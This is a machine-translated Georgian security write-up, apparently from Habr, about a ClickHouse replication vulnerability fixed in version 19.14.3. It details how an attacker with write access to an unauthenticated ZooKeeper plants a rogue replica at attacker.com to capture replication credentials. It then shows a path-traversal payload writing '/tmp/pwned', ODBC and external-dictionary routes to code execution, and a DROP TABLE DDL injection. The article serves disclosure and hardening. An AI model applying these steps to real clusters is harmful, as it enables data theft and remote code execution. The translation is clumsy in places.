რატომ გჭირდებათ ზოოპარკის გალიების დახურვა?

ეს სტატია მოგვითხრობს ClickHouse-ის რეპლიკაციის პროტოკოლში ძალიან სპეციფიკურ დაუცველობაზე და ასევე აჩვენებს, თუ როგორ შეიძლება გაფართოვდეს თავდასხმის ზედაპირი.

ClickHouse არის მონაცემთა ბაზა დიდი მოცულობის მონაცემების შესანახად, ყველაზე ხშირად იყენებს ერთზე მეტ რეპლიკას. კლასტერირება და რეპლიკაცია ClickHouse-ში აგებულია თავზე Apache ZooKeeper (ZK) და მოითხოვს ჩაწერის უფლებებს.

ნაგულისხმევი ZK ინსტალაცია არ საჭიროებს ავთენტიფიკაციას, ამიტომ ათასობით ZK სერვერი, რომელიც გამოიყენება Kafka, Hadoop, ClickHouse-ის კონფიგურაციისთვის, საჯაროდ არის ხელმისაწვდომი.

შეტევის ზედაპირის შესამცირებლად, ZooKeeper-ის ინსტალაციისას ყოველთვის უნდა დააკონფიგურიროთ ავტორიზაცია და ავტორიზაცია.

რა თქმა უნდა, არსებობს რამდენიმე დღეზე დაფუძნებული ჯავის დესერიალიზაცია, მაგრამ წარმოიდგინეთ, რომ თავდამსხმელს შეეძლო წაიკითხოს და დაწეროს ZooKeeper, რომელიც გამოიყენება ClickHouse-ის რეპლიკაციისთვის.

როდესაც კონფიგურებულია კლასტერულ რეჟიმში, ClickHouse მხარს უჭერს განაწილებულ შეკითხვებს DDL, გადის ZK - მათთვის კვანძები იქმნება ფურცელში /clickhouse/task_queue/ddl.

მაგალითად, თქვენ ქმნით კვანძს /clickhouse/task_queue/ddl/query-0001 შინაარსით:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

და ამის შემდეგ, სატესტო ცხრილი წაიშლება კლასტერული სერვერების host1 და host2. DDL ასევე მხარს უჭერს CREATE/ALTER/DROP მოთხოვნების გაშვებას.

საშინლად ჟღერს? მაგრამ სად შეუძლია თავდამსხმელს სერვერის მისამართების მიღება?

ClickHouse რეპლიკაცია მუშაობს ცალკეული ცხრილების დონეზე, ასე რომ, როდესაც ცხრილი იქმნება ZK-ში, მითითებულია სერვერი, რომელიც პასუხისმგებელია მეტამონაცემების რეპლიკებთან გაცვლაზე. მაგალითად, მოთხოვნის შესრულებისას (ZK უნდა იყოს კონფიგურირებული, chXX - ასლის სახელი, ფუბარი - მაგიდის სახელი):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

შეიქმნება კვანძები სვეტების и მეტადატის.

შინაარსი /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

შესაძლებელია თუ არა ამ კლასტერის მონაცემების გაერთიანება? დიახ, თუ რეპლიკაციის პორტი (TCP/9009) სერვერზე chXX-address firewall არ დაიხურება და რეპლიკაციისთვის ავთენტიფიკაცია არ იქნება კონფიგურირებული. როგორ ავუაროთ ავტორიზაცია?

თავდამსხმელს შეუძლია შექმნას ახალი რეპლიკა ZK-ში შიგთავსის უბრალოდ კოპირებით /clickhouse/tables/01-01/foobar/replicas/chXX და მნიშვნელობის შეცვლა host.

შინაარსი /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

შემდეგ თქვენ უნდა უთხრათ სხვა რეპლიკებს, რომ თავდამსხმელის სერვერზე არის მონაცემთა ახალი ბლოკი, რომელიც მათ უნდა აიღონ - იქმნება კვანძი ZK-ში. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX მონოტონურად მზარდი მრიცხველი, რომელიც უნდა იყოს აღემატება ბოლო მრიცხველს მოვლენის ჟურნალში):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

სადაც წყარო_რეპლიკა - წინა ეტაპზე შექმნილი თავდამსხმელის ასლის სახელი, block_id - მონაცემთა ბლოკის იდენტიფიკატორი, მიღება - ბრძანება "მიიღეთ ბლოკი" (და აქ არის ბრძანებები სხვა ოპერაციებისთვის).

შემდეგი, თითოეული რეპლიკა კითხულობს ახალ მოვლენას ჟურნალში და მიდის სერვერზე, რომელსაც აკონტროლებს თავდამსხმელი, რათა მიიღოს მონაცემთა ბლოკი (რეპლიკაციის პროტოკოლი ორობითია, მუშაობს HTTP-ის თავზე). სერვერი attacker.com მიიღებს მოთხოვნებს:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

სადაც XXX არის ავთენტიფიკაციის მონაცემები რეპლიკაციისთვის. ზოგიერთ შემთხვევაში, ეს შეიძლება იყოს ანგარიში, რომელსაც აქვს მონაცემთა ბაზაზე წვდომა ძირითადი ClickHouse პროტოკოლისა და HTTP პროტოკოლის მეშვეობით. როგორც ხედავთ, თავდასხმის ზედაპირი კრიტიკულად დიდი ხდება, რადგან ZooKeeper, რომელიც გამოიყენება რეპლიკაციისთვის, დარჩა ავტორიზაციის კონფიგურაციის გარეშე.

მოდით შევხედოთ რეპლიკიდან მონაცემთა ბლოკის მიღების ფუნქციას, სრული დარწმუნებით წერია, რომ ყველა რეპლიკა სათანადო კონტროლის ქვეშაა და მათ შორის არის ნდობა.

რეპლიკაციის დამუშავების კოდი

ფუნქცია კითხულობს ფაილების სიას, შემდეგ მათ სახელებს, ზომებს, შიგთავსს და შემდეგ წერს მათ ფაილურ სისტემაში. ღირს ცალკე აღწეროთ, თუ როგორ ინახება მონაცემები ფაილურ სისტემაში.

არის რამდენიმე ქვედირექტორია /var/lib/clickhouse (ნაგულისხმევი შენახვის დირექტორია კონფიგურაციის ფაილიდან):

დროშები - ჩაწერის დირექტორია დროშები, გამოიყენება მონაცემთა დაკარგვის შემდეგ აღდგენაში;
tmp — დირექტორია დროებითი ფაილების შესანახად;
მომხმარებლის_ფაილები — მოთხოვნებში ფაილებით ოპერაციები შემოიფარგლება მხოლოდ ამ დირექტორიაში (INTO OUTFILE და სხვა);
მეტადატის — sql ფაილები ცხრილის აღწერილობით;
წინასწარ დამუშავებული_კონფიგურაციები - დამუშავებული წარმოებული კონფიგურაციის ფაილები /etc/clickhouse-server;
მონაცემები - ფაქტობრივი დირექტორია თავად მონაცემებით, ამ შემთხვევაში თითოეული მონაცემთა ბაზისთვის ცალკე ქვედირექტორია უბრალოდ იქმნება აქ (მაგალითად /var/lib/clickhouse/data/default).

თითოეული ცხრილისთვის იქმნება ქვედირექტორია მონაცემთა ბაზის დირექტორიაში. თითოეული სვეტი არის ცალკე ფაილი, რაც დამოკიდებულია ძრავის ფორმატი. მაგალითად მაგიდისთვის ფუბარიშექმნილი თავდამსხმელის მიერ, შეიქმნება შემდეგი ფაილები:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

რეპლიკა იმედოვნებს, რომ მიიღებს იმავე სახელების ფაილებს მონაცემთა ბლოკის დამუშავებისას და არანაირად არ ამოწმებს მათ.

ყურადღებიან მკითხველს ალბათ უკვე სმენია ფუნქციაში file_name-ის სახიფათო შეერთების შესახებ WriteBufferFromFile. დიახ, ეს საშუალებას აძლევს თავდამსხმელს დაწეროს თვითნებური შინაარსი FS-ის ნებისმიერ ფაილზე მომხმარებლის უფლებებით clickhouse. ამისათვის თავდამსხმელის მიერ კონტროლირებადი რეპლიკა უნდა დააბრუნოს მოთხოვნაზე შემდეგი პასუხი (ხაზის წყვეტები დამატებულია გაგების გასაადვილებლად):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

და შეერთების შემდეგ ../../../../../../../../../tmp/pwned ფაილი დაიწერება /tmp/pwned შინაარსით hellofromzookeeper.

არსებობს რამდენიმე ვარიანტი ფაილის წერის შესაძლებლობის დისტანციური კოდის შესრულებად (RCE) გადაქცევისთვის.

გარე ლექსიკონები RCE-ში

ძველ ვერსიებში, დირექტორია ClickHouse-ის პარამეტრებით ინახებოდა მომხმარებლის უფლებებით clickhouse ნაგულისხმევი. პარამეტრების ფაილები არის XML ფაილები, რომლებსაც სერვისი კითხულობს გაშვებისას და შემდეგ ინახავს ქეში /var/lib/clickhouse/preprocessed_configs. როდესაც ცვლილებები ხდება, ისინი ხელახლა იკითხება. თუ თქვენ გაქვთ წვდომა /etc/clickhouse-server თავდამსხმელს შეუძლია შექმნას საკუთარი გარე ლექსიკონი შესრულებადი ტიპი და შემდეგ შეასრულეთ თვითნებური კოდი. ClickHouse-ის ამჟამინდელი ვერსიები ნაგულისხმევად არ იძლევა უფლებებს, მაგრამ თუ სერვერი თანდათან განახლდება, ასეთი უფლებები შეიძლება დარჩეს. თუ თქვენ მხარს უჭერთ ClickHouse კლასტერს, შეამოწმეთ უფლებები პარამეტრების დირექტორიაზე, ის უნდა ეკუთვნოდეს მომხმარებელს root.

ODBC RCE-მდე

პაკეტის დაყენებისას იქმნება მომხმარებელი clickhouse, მაგრამ მისი მთავარი დირექტორია არ არის შექმნილი /nonexistent. თუმცა, გარე ლექსიკონების გამოყენებისას ან სხვა მიზეზების გამო, ადმინისტრატორები ქმნიან დირექტორიას /nonexistent და მიეცით მომხმარებელს clickhouse წვდომა მასზე ჩასაწერად (SSZB! დაახლ. მთარგმნელი).

ClickHouse მხარს უჭერს ODBC და შეუძლია სხვა მონაცემთა ბაზებთან დაკავშირება. ODBC-ში შეგიძლიათ მიუთითოთ გზა მონაცემთა ბაზის დრაივერის ბიბლიოთეკისკენ (.so). ClickHouse-ის ძველი ვერსიები საშუალებას გაძლევთ ამის გაკეთება პირდაპირ მოთხოვნის დამმუშავებელში, მაგრამ ახლა დამატებულია კავშირის სტრიქონის უფრო მკაცრი შემოწმება. odbc-bridge, ასე რომ აღარ არის შესაძლებელი მოთხოვნიდან მძღოლის ბილიკის მითითება. მაგრამ შეუძლია თუ არა თავდამსხმელს დაწეროს სახლის დირექტორიაში ზემოთ აღწერილი დაუცველობის გამოყენებით?

მოდით შევქმნათ ფაილი ~/.odbc.ini ასეთი შინაარსით:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

შემდეგ გაშვებისას SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ბიბლიოთეკა იტვირთება test.so და მიიღო RCE (მადლობა ბუგლოკი წვერისთვის).

ეს და სხვა დაუცველობა დაფიქსირდა ClickHouse ვერსიაში 19.14.3. იზრუნეთ თქვენს ClickHouse-ზე და ZooKeepers-ზე!

წყარო: www.habr.com